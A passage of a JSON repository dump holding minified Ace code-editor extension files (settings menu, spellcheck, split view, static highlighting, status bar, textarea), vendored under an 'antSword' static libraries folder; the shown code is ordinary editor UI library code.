/g,\"_\").toLowerCase(),r={caption:e[0],theme:\"ace/theme/\"+n,isDark:e[2]==\"dark\",name:n};return t.themesByName[n]=r,r})}),ace.define(\"ace/ext/menu_tools/add_editor_menu_options\",[\"require\",\"exports\",\"module\",\"ace/ext/modelist\",\"ace/ext/themelist\"],function(e,t,n){\"use strict\";n.exports.addEditorMenuOptions=function(n){var r=e(\"../modelist\"),i=e(\"../themelist\");n.menuOptions={setNewLineMode:[{textContent:\"unix\",value:\"unix\"},{textContent:\"windows\",value:\"windows\"},{textContent:\"auto\",value:\"auto\"}],setTheme:[],setMode:[],setKeyboardHandler:[{textContent:\"ace\",value:\"\"},{textContent:\"vim\",value:\"ace/keyboard/vim\"},{textContent:\"emacs\",value:\"ace/keyboard/emacs\"},{textContent:\"textarea\",value:\"ace/keyboard/textarea\"},{textContent:\"sublime\",value:\"ace/keyboard/sublime\"}]},n.menuOptions.setTheme=i.themes.map(function(e){return{textContent:e.caption,value:e.theme}}),n.menuOptions.setMode=r.modes.map(function(e){return{textContent:e.name,value:e.mode}})}}),ace.define(\"ace/ext/menu_tools/get_set_functions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";n.exports.getSetFunctions=function(t){var n=[],r={editor:t,session:t.session,renderer:t.renderer},i=[],s=[\"setOption\",\"setUndoManager\",\"setDocument\",\"setValue\",\"setBreakpoints\",\"setScrollTop\",\"setScrollLeft\",\"setSelectionStyle\",\"setWrapLimitRange\"];return[\"renderer\",\"session\",\"editor\"].forEach(function(e){var t=r[e],o=e;for(var u in t)s.indexOf(u)===-1&&/^set/.test(u)&&i.indexOf(u)===-1&&(i.push(u),n.push({functionName:u,parentObj:t,parentName:o}))}),n}}),ace.define(\"ace/ext/menu_tools/generate_settings_menu\",[\"require\",\"exports\",\"module\",\"ace/ext/menu_tools/element_generator\",\"ace/ext/menu_tools/add_editor_menu_options\",\"ace/ext/menu_tools/get_set_functions\"],function(e,t,n){\"use strict\";var r=e(\"./element_generator\"),i=e(\"./add_editor_menu_options\").addEditorMenuOptions,s=e(\"./get_set_functions\").getSetFunctions;n.exports.generateSettingsMenu=function(t){function o(){n.sort(function(e,t){var n=e.getAttribute(\"contains\"),r=t.getAttribute(\"contains\");return n.localeCompare(r)})}function u(){var e=document.createElement(\"div\");e.setAttribute(\"id\",\"ace_settingsmenu\"),n.forEach(function(t){e.appendChild(t)});var t=e.appendChild(document.createElement(\"div\")),r=\"1.2.0\";return t.style.padding=\"1em\",t.textContent=\"Ace version \"+r,e}function a(e,n,i,s){var o,u=document.createElement(\"div\");return u.setAttribute(\"contains\",i),u.setAttribute(\"class\",\"ace_optionsMenuEntry\"),u.setAttribute(\"style\",\"clear: both;\"),u.appendChild(r.createLabel(i.replace(/^set/,\"\").replace(/([A-Z])/g,\" $1\").trim(),i)),Array.isArray(s)?(o=r.createSelection(i,s,n),o.addEventListener(\"change\",function(n){try{t.menuOptions[n.target.id].forEach(function(e){e.textContent!==n.target.textContent&&delete e.selected}),e[n.target.id](n.target.value)}catch(r){throw new Error(r)}})):typeof s==\"boolean\"?(o=r.createCheckbox(i,s,n),o.addEventListener(\"change\",function(t){try{e[t.target.id](!!t.target.checked)}catch(n){throw new Error(n)}})):(o=r.createInput(i,s,n),o.addEventListener(\"change\",function(t){try{t.target.value===\"true\"?e[t.target.id](!0):t.target.value===\"false\"?e[t.target.id](!1):e[t.target.id](t.target.value)}catch(n){throw new Error(n)}})),o.style.cssText=\"float:right;\",u.appendChild(o),u}function f(e,n,r,i){var s=t.menuOptions[e],o=n[i]();return typeof o==\"object\"&&(o=o.$id),s.forEach(function(e){e.value===o&&(e.selected=\"selected\")}),a(n,r,e,s)}function l(e){var r=e.functionName,i=e.parentObj,s=e.parentName,o,u=r.replace(/^set/,\"get\");if(t.menuOptions[r]!==undefined)n.push(f(r,i,s,u));else if(typeof i[u]==\"function\")try{o=i[u](),typeof o==\"object\"&&(o=o.$id),n.push(a(i,s,r,o))}catch(l){}}var n=[];return i(t),s(t).forEach(function(e){l(e)}),o(),u()}}),ace.define(\"ace/ext/menu_tools/overlay_page\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/dom\"),i=\"#ace_settingsmenu, #kbshortcutmenu {background-color: #F7F7F7;color: black;box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);padding: 1em 0.5em 2em 1em;overflow: auto;position: absolute;margin: 0;bottom: 0;right: 0;top: 0;z-index: 9991;cursor: default;}.ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);background-color: rgba(255, 255, 255, 0.6);color: black;}.ace_optionsMenuEntry:hover {background-color: rgba(100, 100, 100, 0.1);-webkit-transition: all 0.5s;transition: all 0.3s}.ace_closeButton {background: rgba(245, 146, 146, 0.5);border: 1px solid #F48A8A;border-radius: 50%;padding: 7px;position: absolute;right: -8px;top: -8px;z-index: 1000;}.ace_closeButton{background: rgba(245, 146, 146, 0.9);}.ace_optionsMenuKey {color: darkslateblue;font-weight: bold;}.ace_optionsMenuCommand {color: darkcyan;font-weight: normal;}\";r.importCssString(i),n.exports.overlayPage=function(t,n,i,s,o,u){function l(e){e.keyCode===27&&a.click()}i=i?\"top: \"+i+\";\":\"\",o=o?\"bottom: \"+o+\";\":\"\",s=s?\"right: \"+s+\";\":\"\",u=u?\"left: \"+u+\";\":\"\";var a=document.createElement(\"div\"),f=document.createElement(\"div\");a.style.cssText=\"margin: 0; padding: 0; position: fixed; top:0; bottom:0; left:0; right:0;z-index: 9990; background-color: rgba(0, 0, 0, 0.3);\",a.addEventListener(\"click\",function(){document.removeEventListener(\"keydown\",l),a.parentNode.removeChild(a),t.focus(),a=null}),document.addEventListener(\"keydown\",l),f.style.cssText=i+s+o+u,f.addEventListener(\"click\",function(e){e.stopPropagation()});var c=r.createElement(\"div\");c.style.position=\"relative\";var h=r.createElement(\"div\");h.className=\"ace_closeButton\",h.addEventListener(\"click\",function(){a.click()}),c.appendChild(h),f.appendChild(c),f.appendChild(n),a.appendChild(f),document.body.appendChild(a),t.blur()}}),ace.define(\"ace/ext/settings_menu\",[\"require\",\"exports\",\"module\",\"ace/ext/menu_tools/generate_settings_menu\",\"ace/ext/menu_tools/overlay_page\",\"ace/editor\"],function(e,t,n){\"use strict\";function s(e){var t=document.getElementById(\"ace_settingsmenu\");t||i(e,r(e),\"0\",\"0\",\"0\")}var r=e(\"./menu_tools/generate_settings_menu\").generateSettingsMenu,i=e(\"./menu_tools/overlay_page\").overlayPage;n.exports.init=function(t){var n=e(\"ace/editor\").Editor;n.prototype.showSettingsMenu=function(){s(this)}}});\n                (function() {\n                    ace.require([\"ace/ext/settings_menu\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-spellcheck.js",
    "content": "ace.define(\"ace/ext/spellcheck\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\");t.contextMenuHandler=function(e){var t=e.target,n=t.textInput.getElement();if(!t.selection.isEmpty())return;var i=t.getCursorPosition(),s=t.session.getWordRange(i.row,i.column),o=t.session.getTextRange(s);t.session.tokenRe.lastIndex=0;if(!t.session.tokenRe.test(o))return;var u=\"\u0001\u0001\",a=o+\" \"+u;n.value=a,n.setSelectionRange(o.length,o.length+1),n.setSelectionRange(0,0),n.setSelectionRange(0,o.length);var f=!1;r.addListener(n,\"keydown\",function l(){r.removeListener(n,\"keydown\",l),f=!0}),t.textInput.setInputHandler(function(e){console.log(e,a,n.selectionStart,n.selectionEnd);if(e==a)return\"\";if(e.lastIndexOf(a,0)===0)return e.slice(a.length);if(e.substr(n.selectionEnd)==a)return e.slice(0,-a.length);if(e.slice(-2)==u){var r=e.slice(0,-2);if(r.slice(-1)==\" \")return f?r.substring(0,n.selectionEnd):(r=r.slice(0,-1),t.session.replace(s,r),\"\")}return e})};var i=e(\"../editor\").Editor;e(\"../config\").defineOptions(i.prototype,\"editor\",{spellcheck:{set:function(e){var n=this.textInput.getElement();n.spellcheck=!!e,e?this.on(\"nativecontextmenu\",t.contextMenuHandler):this.removeListener(\"nativecontextmenu\",t.contextMenuHandler)},value:!0}})});\n                (function() {\n                    ace.require([\"ace/ext/spellcheck\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-split.js",
    "content": "ace.define(\"ace/split\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\",\"ace/editor\",\"ace/virtual_renderer\",\"ace/edit_session\"],function(e,t,n){\"use strict\";function l(e,t){this.$u=e,this.$doc=t}var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./editor\").Editor,u=e(\"./virtual_renderer\").VirtualRenderer,a=e(\"./edit_session\").EditSession,f=function(e,t,n){this.BELOW=1,this.BESIDE=0,this.$container=e,this.$theme=t,this.$splits=0,this.$editorCSS=\"\",this.$editors=[],this.$orientation=this.BESIDE,this.setSplits(n||1),this.$cEditor=this.$editors[0],this.on(\"focus\",function(e){this.$cEditor=e}.bind(this))};(function(){r.implement(this,s),this.$createEditor=function(){var e=document.createElement(\"div\");e.className=this.$editorCSS,e.style.cssText=\"position: absolute; top:0px; bottom:0px\",this.$container.appendChild(e);var t=new o(new u(e,this.$theme));return t.on(\"focus\",function(){this._emit(\"focus\",t)}.bind(this)),this.$editors.push(t),t.setFontSize(this.$fontSize),t},this.setSplits=function(e){var t;if(e<1)throw\"The number of splits have to be > 0!\";if(e==this.$splits)return;if(e>this.$splits){while(this.$splits<this.$editors.length&&this.$splits<e)t=this.$editors[this.$splits],this.$container.appendChild(t.container),t.setFontSize(this.$fontSize),this.$splits++;while(this.$splits<e)this.$createEditor(),this.$splits++}else while(this.$splits>e)t=this.$editors[this.$splits-1],this.$container.removeChild(t.container),this.$splits--;this.resize()},this.getSplits=function(){return this.$splits},this.getEditor=function(e){return this.$editors[e]},this.getCurrentEditor=function(){return this.$cEditor},this.focus=function(){this.$cEditor.focus()},this.blur=function(){this.$cEditor.blur()},this.setTheme=function(e){this.$editors.forEach(function(t){t.setTheme(e)})},this.setKeyboardHandler=function(e){this.$editors.forEach(function(t){t.setKeyboardHandler(e)})},this.forEach=function(e,t){this.$editors.forEach(e,t)},this.$fontSize=\"\",this.setFontSize=function(e){this.$fontSize=e,this.forEach(function(t){t.setFontSize(e)})},this.$cloneSession=function(e){var t=new a(e.getDocument(),e.getMode()),n=e.getUndoManager();if(n){var r=new l(n,t);t.setUndoManager(r)}return t.$informUndoManager=i.delayedCall(function(){t.$deltas=[]}),t.setTabSize(e.getTabSize()),t.setUseSoftTabs(e.getUseSoftTabs()),t.setOverwrite(e.getOverwrite()),t.setBreakpoints(e.getBreakpoints()),t.setUseWrapMode(e.getUseWrapMode()),t.setUseWorker(e.getUseWorker()),t.setWrapLimitRange(e.$wrapLimitRange.min,e.$wrapLimitRange.max),t.$foldData=e.$cloneFoldData(),t},this.setSession=function(e,t){var n;t==null?n=this.$cEditor:n=this.$editors[t];var r=this.$editors.some(function(t){return t.session===e});return r&&(e=this.$cloneSession(e)),n.setSession(e),e},this.getOrientation=function(){return this.$orientation},this.setOrientation=function(e){if(this.$orientation==e)return;this.$orientation=e,this.resize()},this.resize=function(){var e=this.$container.clientWidth,t=this.$container.clientHeight,n;if(this.$orientation==this.BESIDE){var r=e/this.$splits;for(var i=0;i<this.$splits;i++)n=this.$editors[i],n.container.style.width=r+\"px\",n.container.style.top=\"0px\",n.container.style.left=i*r+\"px\",n.container.style.height=t+\"px\",n.resize()}else{var s=t/this.$splits;for(var i=0;i<this.$splits;i++)n=this.$editors[i],n.container.style.width=e+\"px\",n.container.style.top=i*s+\"px\",n.container.style.left=\"0px\",n.container.style.height=s+\"px\",n.resize()}}}).call(f.prototype),function(){this.execute=function(e){this.$u.execute(e)},this.undo=function(){var e=this.$u.undo(!0);e&&this.$doc.selection.setSelectionRange(e)},this.redo=function(){var e=this.$u.redo(!0);e&&this.$doc.selection.setSelectionRange(e)},this.reset=function(){this.$u.reset()},this.hasUndo=function(){return this.$u.hasUndo()},this.hasRedo=function(){return this.$u.hasRedo()}}.call(l.prototype),t.Split=f}),ace.define(\"ace/ext/split\",[\"require\",\"exports\",\"module\",\"ace/split\"],function(e,t,n){\"use strict\";n.exports=e(\"../split\")});\n                (function() {\n                    ace.require([\"ace/ext/split\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-static_highlight.js",
    "content": "ace.define(\"ace/ext/static_highlight\",[\"require\",\"exports\",\"module\",\"ace/edit_session\",\"ace/layer/text\",\"ace/config\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../edit_session\").EditSession,i=e(\"../layer/text\").Text,s=\".ace_static_highlight {font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', 'source-code-pro', 'Droid Sans Mono', monospace;font-size: 12px;white-space: pre-wrap}.ace_static_highlight .ace_gutter {width: 2em;text-align: right;padding: 0 3px 0 0;margin-right: 3px;}.ace_static_highlight.ace_show_gutter .ace_line {padding-left: 2.6em;}.ace_static_highlight .ace_line { position: relative; }.ace_static_highlight .ace_gutter-cell {-moz-user-select: -moz-none;-khtml-user-select: none;-webkit-user-select: none;user-select: none;top: 0;bottom: 0;left: 0;position: absolute;}.ace_static_highlight .ace_gutter-cell:before {content: counter(ace_line, decimal);counter-increment: ace_line;}.ace_static_highlight {counter-reset: ace_line;}\",o=e(\"../config\"),u=e(\"../lib/dom\"),a=function(){this.config={}};a.prototype=i.prototype;var f=function(e,t,n){var r=e.className.match(/lang-(\\w+)/),i=t.mode||r&&\"ace/mode/\"+r[1];if(!i)return!1;var s=t.theme||\"ace/theme/textmate\",o=\"\",a=[];if(e.firstElementChild){var l=0;for(var c=0;c<e.childNodes.length;c++){var h=e.childNodes[c];h.nodeType==3?(l+=h.data.length,o+=h.data):a.push(l,h)}}else o=u.getInnerText(e),t.trim&&(o=o.trim());f.render(o,i,s,t.firstLineNumber,!t.showGutter,function(t){u.importCssString(t.css,\"ace_highlight\"),e.innerHTML=t.html;var r=e.firstChild.firstChild;for(var i=0;i<a.length;i+=2){var s=t.session.doc.indexToPosition(a[i]),o=a[i+1],f=r.children[s.row];f&&f.appendChild(o)}n&&n()})};f.render=function(e,t,n,i,s,u){function h(){var r=f.renderSync(e,t,n,i,s);return u?u(r):r}var a=1,l=r.prototype.$modes;typeof n==\"string\"&&(a++,o.loadModule([\"theme\",n],function(e){n=e,--a||h()}));var c;return t&&typeof t==\"object\"&&!t.getTokenizer&&(c=t,t=c.path),typeof t==\"string\"&&(a++,o.loadModule([\"mode\",t],function(e){if(!l[t]||c)l[t]=new e.Mode(c);t=l[t],--a||h()})),--a||h()},f.renderSync=function(e,t,n,i,o){i=parseInt(i||1,10);var u=new r(\"\");u.setUseWorker(!1),u.setMode(t);var f=new a;f.setSession(u),u.setValue(e);var l=[],c=u.getLength();for(var h=0;h<c;h++)l.push(\"<div class='ace_line'>\"),o||l.push(\"<span class='ace_gutter ace_gutter-cell' unselectable='on'></span>\"),f.$renderLine(l,h,!0,!1),l.push(\"\\n</div>\");var p=\"<div class='\"+n.cssClass+\"'>\"+\"<div class='ace_static_highlight\"+(o?\"\":\" ace_show_gutter\")+\"' style='counter-reset:ace_line \"+(i-1)+\"'>\"+l.join(\"\")+\"</div>\"+\"</div>\";return f.destroy(),{css:s+n.cssText,html:p,session:u}},n.exports=f,n.exports.highlight=f});\n                (function() {\n                    ace.require([\"ace/ext/static_highlight\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-statusbar.js",
    "content": "ace.define(\"ace/ext/statusbar\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"ace/lib/dom\"),i=e(\"ace/lib/lang\"),s=function(e,t){this.element=r.createElement(\"div\"),this.element.className=\"ace_status-indicator\",this.element.style.cssText=\"display: inline-block;\",t.appendChild(this.element);var n=i.delayedCall(function(){this.updateStatus(e)}.bind(this));e.on(\"changeStatus\",function(){n.schedule(100)}),e.on(\"changeSelection\",function(){n.schedule(100)})};(function(){this.updateStatus=function(e){function n(e,n){e&&t.push(e,n||\"|\")}var t=[];n(e.keyBinding.getStatusText(e)),e.commands.recording&&n(\"REC\");var r=e.selection.lead;n(r.row+\":\"+r.column,\" \");if(!e.selection.isEmpty()){var i=e.getSelectionRange();n(\"(\"+(i.end.row-i.start.row)+\":\"+(i.end.column-i.start.column)+\")\")}t.pop(),this.element.textContent=t.join(\"\")}}).call(s.prototype),t.StatusBar=s});\n                (function() {\n                    ace.require([\"ace/ext/statusbar\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-textarea.js",
    "content": "ace.define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)}),ace.define(\"ace/ace\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/editor\",\"ace/edit_session\",\"ace/undomanager\",\"ace/virtual_renderer\",\"ace/worker/worker_client\",\"ace/keyboard/hash_handler\",\"ace/placeholder\",\"ace/multi_select\",\"ace/mode/folding/fold_mode\",\"ace/theme/textmate\",\"ace/ext/error_marker\",\"ace/config\"],function(e,t,n){\"use strict\";e(\"./lib/fixoldbrowsers\");var r=e(\"./lib/dom\"),i=e(\"./lib/event\"),s=e(\"./editor\").Editor,o=e(\"./edit_session\").EditSession,u=e(\"./undomanager\").UndoManager,a=e(\"./virtual_renderer\").VirtualRenderer;e(\"./worker/worker_client\"),e(\"./keyboard/hash_handler\"),e(\"./placeholder\"),e(\"./multi_select\"),e(\"./mode/folding/fold_mode\"),e(\"./theme/textmate\"),e(\"./ext/error_marker\"),t.config=e(\"./config\"),t.require=e,t.edit=function(e){if(typeof e==\"string\"){var n=e;e=document.getElementById(n);if(!e)throw new Error(\"ace.edit can't find div #\"+n)}if(e&&e.env&&e.env.editor instanceof s)return e.env.editor;var o=\"\";if(e&&/input|textarea/i.test(e.tagName)){var u=e;o=u.value,e=r.createElement(\"pre\"),u.parentNode.replaceChild(e,u)}else e&&(o=r.getInnerText(e),e.innerHTML=\"\");var f=t.createEditSession(o),l=new s(new a(e));l.setSession(f);var c={document:f,editor:l,onResize:l.resize.bind(l,null)};return u&&(c.textarea=u),i.addListener(window,\"resize\",c.onResize),l.on(\"destroy\",function(){i.removeListener(window,\"resize\",c.onResize),c.editor.container.env=null}),l.container.env=l.env=c,l},t.createEditSession=function(e,t){var n=new o(e,t);return n.setUndoManager(new u),n},t.EditSession=o,t.UndoManager=u}),ace.define(\"ace/ext/textarea\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/lib/net\",\"ace/ace\",\"ace/theme/textmate\"],function(e,t,n){\"use strict\";function a(e,t){for(var n in t)e.style[n]=t[n]}function f(e,t){if(e.type!=\"textarea\")throw new Error(\"Textarea required!\");var n=e.parentNode,i=document.createElement(\"div\"),s=function(){var t=\"position:relative;\";[\"margin-top\",\"margin-left\",\"margin-right\",\"margin-bottom\"].forEach(function(n){t+=n+\":\"+u(e,i,n)+\";\"});var n=u(e,i,\"width\")||e.clientWidth+\"px\",r=u(e,i,\"height\")||e.clientHeight+\"px\";t+=\"height:\"+r+\";width:\"+n+\";\",t+=\"display:inline-block;\",i.setAttribute(\"style\",t)};r.addListener(window,\"resize\",s),s(),n.insertBefore(i,e.nextSibling);while(n!==document){if(n.tagName.toUpperCase()===\"FORM\"){var o=n.onsubmit;n.onsubmit=function(n){e.value=t(),o&&o.call(this,n)};break}n=n.parentNode}return i}function l(t,n,r){s.loadScript(t,function(){e([n],r)})}function c(e,t,n,r,i,s){function a(e){return e===\"true\"||e==1}var o=e.getSession(),u=e.renderer;return s=s||l,e.setDisplaySettings=function(t){t==null&&(t=n.style.display==\"none\"),t?(n.style.display=\"block\",n.hideButton.focus(),e.on(\"focus\",function r(){e.removeListener(\"focus\",r),n.style.display=\"none\"})):e.focus()},e.$setOption=e.setOption,e.$getOption=e.getOption,e.setOption=function(t,n){switch(t){case\"mode\":e.$setOption(\"mode\",\"ace/mode/\"+n);break;case\"theme\":e.$setOption(\"theme\",\"ace/theme/\"+n);break;case\"keybindings\":switch(n){case\"vim\":e.setKeyboardHandler(\"ace/keyboard/vim\");break;case\"emacs\":e.setKeyboardHandler(\"ace/keyboard/emacs\");break;default:e.setKeyboardHandler(null)}break;case\"softWrap\":case\"fontSize\":e.$setOption(t,n);break;default:e.$setOption(t,a(n))}},e.getOption=function(t){switch(t){case\"mode\":return e.$getOption(\"mode\").substr(\"ace/mode/\".length);case\"theme\":return e.$getOption(\"theme\").substr(\"ace/theme/\".length);case\"keybindings\":var n=e.getKeyboardHandler();switch(n&&n.$id){case\"ace/keyboard/vim\":return\"vim\";case\"ace/keyboard/emacs\":return\"emacs\";default:return\"ace\"}break;default:return e.$getOption(t)}},e.setOptions(i),e}function h(e,n,i){function f(e,t,n,r){if(!n){e.push(\"<input type='checkbox' title='\",t,\"' \",r+\"\"==\"true\"?\"checked='true'\":\"\",\"'></input>\");return}e.push(\"<select title='\"+t+\"'>\");for(var i in n)e.push(\"<option value='\"+i+\"' \"),r==i&&e.push(\" selected \"),e.push(\">\",n[i],\"</option>\");e.push(\"</select>\")}var s=null,o={mode:\"Mode:\",wrap:\"Soft Wrap:\",theme:\"Theme:\",fontSize:\"Font Size:\",showGutter:\"Display Gutter:\",keybindings:\"Keyboard\",showPrintMargin:\"Show Print Margin:\",useSoftTabs:\"Use Soft Tabs:\",showInvisibles:\"Show Invisibles\"},u={mode:{text:\"Plain\",javascript:\"JavaScript\",xml:\"XML\",html:\"HTML\",css:\"CSS\",scss:\"SCSS\",python:\"Python\",php:\"PHP\",java:\"Java\",ruby:\"Ruby\",c_cpp:\"C/C++\",coffee:\"CoffeeScript\",json:\"json\",perl:\"Perl\",clojure:\"Clojure\",ocaml:\"OCaml\",csharp:\"C#\",haxe:\"haXe\",svg:\"SVG\",textile:\"Textile\",groovy:\"Groovy\",liquid:\"Liquid\",Scala:\"Scala\"},theme:{clouds:\"Clouds\",clouds_midnight:\"Clouds Midnight\",cobalt:\"Cobalt\",crimson_editor:\"Crimson Editor\",dawn:\"Dawn\",eclipse:\"Eclipse\",idle_fingers:\"Idle Fingers\",kr_theme:\"Kr Theme\",merbivore:\"Merbivore\",merbivore_soft:\"Merbivore Soft\",mono_industrial:\"Mono Industrial\",monokai:\"Monokai\",pastel_on_dark:\"Pastel On Dark\",solarized_dark:\"Solarized Dark\",solarized_light:\"Solarized Light\",textmate:\"Textmate\",twilight:\"Twilight\",vibrant_ink:\"Vibrant Ink\"},showGutter:s,fontSize:{\"10px\":\"10px\",\"11px\":\"11px\",\"12px\":\"12px\",\"14px\":\"14px\",\"16px\":\"16px\"},wrap:{off:\"Off\",40:\"40\",80:\"80\",free:\"Free\"},keybindings:{ace:\"ace\",vim:\"vim\",emacs:\"emacs\"},showPrintMargin:s,useSoftTabs:s,showInvisibles:s},a=[];a.push(\"<table><tr><th>Setting</th><th>Value</th></tr>\");for(var l in t.defaultOptions)a.push(\"<tr><td>\",o[l],\"</td>\"),a.push(\"<td>\"),f(a,l,u[l],i.getOption(l)),a.push(\"</td></tr>\");a.push(\"</table>\"),e.innerHTML=a.join(\"\");var c=function(e){var t=e.currentTarget;i.setOption(t.title,t.value)},h=function(e){var t=e.currentTarget;i.setOption(t.title,t.checked)},p=e.getElementsByTagName(\"select\");for(var d=0;d<p.length;d++)p[d].onchange=c;var v=e.getElementsByTagName(\"input\");for(var d=0;d<v.length;d++)v[d].onclick=h;var m=document.createElement(\"input\");m.type=\"button\",m.value=\"Hide\",r.addListener(m,\"click\",function(){i.setDisplaySettings(!1)}),e.appendChild(m),e.hideButton=m}var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"../lib/net\"),o=e(\"../ace\");e(\"../theme/textmate\"),n.exports=t=o;var u=function(e,t,n){var r=e.style[n];r||(window.getComputedStyle?r=window.getComputedStyle(e,\"\").getPropertyValue(n):r=e.currentStyle[n]);if(!r||r==\"auto\"||r==\"intrinsic\")r=t.style[n];return r};t.transformTextarea=function(e,n){var s,u=f(e,function(){return s.getValue()});e.style.display=\"none\",u.style.background=\"white\";var p=document.createElement(\"div\");a(p,{top:\"0px\",left:\"0px\",right:\"0px\",bottom:\"0px\",border:\"1px solid gray\",position:\"absolute\"}),u.appendChild(p);var d=document.createElement(\"div\");a(d,{position:\"absolute\",right:\"0px\",bottom:\"0px\",background:\"red\",cursor:\"nw-resize\",borderStyle:\"solid\",borderWidth:\"9px 8px 10px 9px\",width:\"2px\",borderColor:\"lightblue gray gray lightblue\",zIndex:101});var v=document.createElement(\"div\"),m={top:\"0px\",left:\"20%\",right:\"0px\",bottom:\"0px\",position:\"absolute\",padding:\"5px\",zIndex:100,color:\"white\",display:\"none\",overflow:\"auto\",fontSize:\"14px\",boxShadow:\"-5px 2px 3px gray\"};i.isOldIE?m.backgroundColor=\"#333\":m.backgroundColor=\"rgba(0, 0, 0, 0.6)\",a(v,m),u.appendChild(v),n=n||t.defaultOptions;var g=o.edit(p);s=g.getSession(),s.setValue(e.value||e.innerHTML),g.focus(),u.appendChild(d),c(g,p,v,o,n,l),h(v,d,g);var y=\"\";return r.addListener(d,\"mousemove\",function(e){var t=this.getBoundingClientRect(),n=e.clientX-t.left,r=e.clientY-t.top;n+r<(t.width+t.height)/2?(this.style.cursor=\"pointer\",y=\"toggle\"):(y=\"resize\",this.style.cursor=\"nw-resize\")}),r.addListener(d,\"mousedown\",function(e){if(y==\"toggle\"){g.setDisplaySettings();return}u.style.zIndex=1e5;var t=u.getBoundingClientRect(),n=t.width+t.left-e.clientX,i=t.height+t.top-e.clientY;r.capture(d,function(e){u.style.width=e.clientX-t.left+n+\"px\",u.style.height=e.clientY-t.top+i+\"px\",g.resize()},function(){})}),g},t.defaultOptions={mode:\"javascript\",theme:\"textmate\",wrap:\"off\",fontSize:\"12px\",showGutter:\"false\",keybindings:\"ace\",showPrintMargin:\"false\",useSoftTabs:\"true\",showInvisibles:\"false\"}});\n                (function() {\n                    ace.require([\"ace/ext/textarea\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-themelist.js",
